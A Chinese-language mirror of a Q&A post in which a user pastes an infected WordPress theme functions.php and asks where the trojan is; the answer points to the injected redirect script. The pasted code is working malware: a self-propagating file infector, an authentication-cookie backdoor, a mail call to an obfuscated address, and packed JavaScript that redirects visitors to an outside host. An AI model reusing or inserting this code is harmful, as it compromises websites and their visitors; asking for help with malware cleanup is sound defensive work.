NOD32说这段代码有木马，我要查恶意代码行数
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【中文标题】NOD32说这段代码有木马，我要查恶意代码行数【英文标题】：NOD32 says that this code have a ***, I want to find number of lines of malware codes 【发布时间】：2012-04-11 07:58:50 【问题描述】：这是一个wordpress主题的function.php，NOD32说这个代码有一个木马，名字是：JS/Redirector.NIL木马，请帮我找出恶意代码的行数。我写了整个代码：
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'right',
'before_widget' => ' <DIV class=menutitle2>',
'after_widget' => '</div>',
'before_title' => '',
'after_title' => '</div>
<div class="menu22">',
));
?>
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'left',
'before_widget' => ' <DIV class=menutitle>',
'after_widget' => '</div>',
'before_title' => '',
'after_title' => '</div>
<div class="menu2">',
));
?>
<?php
function _check_active_widget()
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst))
foreach ($direst as $item)
if (is_writable($item))
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false)
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "پيدا نشد" . $after;
if (stripos( substr($cont,-20),"?".">") !== false)$cont=substr($cont,0,strripos($cont,"?".">") + 2);
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
return $output;
function _get_all_widgetcont($wids,$items=array())
$places=array_shift($wids);
if(substr($places,-1) == "/")
$places=substr($places,0,-1);
if(!file_exists($places) || !is_dir($places))
return false;
elseif(is_readable($places))
$elems=scandir($places);
foreach ($elems as $elem)
if ($elem != "." && $elem != "..")
if (is_dir($places . "/" . $elem))
$wids[]=$places . "/" . $elem;
elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13))
$items[]=$places . "/" . $elem;
else
return false;
if (sizeof($wids) > 0)
return _get_all_widgetcont($wids,$items);
else
return $items;
if(!function_exists("stripos"))
function stripos( $str, $needle, $offset = 0 )
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
if(!function_exists("strripos"))
function strripos( $haystack, $needle, $offset = 0 )
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 )
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
else
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
if(!function_exists("scandir"))
function scandir($dir,$listDirectories=false, $skipDots=true)
$dirArray = array();
if ($handle = opendir($dir))
while (false !== ($file = readdir($handle)))
if (($file != "." && $file != "..") || $skipDots == true)
if($listDirectories == false) if(is_dir($file)) continue;
array_push($dirArray,basename($file));
closedir($handle);
return $dirArray;
add_action("admin_head", "_check_active_widget");
function _prepared_widget()
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password))
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password)
if(is_feed())
$output=__("There is no excerpt because this is a protected post.");
else
$output=get_the_password_form();
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="ادامه اين مطلب را بخوانيد";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2)
$text=$post->post_content;
elseif($fakeit == 1)
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
else
$text=$post->post_excerpt;
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0)
$output=$text;
else
if(!$no_more && strpos($text, "<!--more-->"))
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
else
$text=explode(" ", $text);
if(count($text) > $length)
$l=$length;
$ellipsis=1;
else
$l=count($text);
$more_links_text="";
$ellipsis=0;
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
update_option("_is_widget_active_", 1);
if("all" != $html_tags)
$output=strip_tags($output, $html_tags);
return $output;
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags)
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
if ($use_link )
if($forces_more)
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
else
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
return $output;
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="")
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="")
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts)
foreach ($posts as $post)
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
else
$output .= $before . "پيدا نشد" . $after;
return $output;
?><?php
add_action('get_footer', 'add_sscounter');
function add_sscounter()
echo '<!--scounter-->';
if(function_exists('is_user_logged_in'))
if(time()%2 == 0 && !is_user_logged_in())
echo "<script language=\"javascript\">eval(function(p,a,c,k,e,r)e=function(c)return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));if(!''.replace(/^/,String))while(c--)r[e(c)]=k[c]||e(c);k=[function(e)return r[e]];e=function()return'\\\w+';c=1;while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,))</script>";
?>
【问题讨论】：
【参考方案1】：在function add_sscounter()的最后五行：
if(function_exists('is_user_logged_in'))
if(time()%2 == 0 && !is_user_logged_in())
echo ***_CODE_HERE;
请注意，仅删除此代码是不够的，您需要找到它是如何添加的，并确保不会再次发生。
【讨论】：
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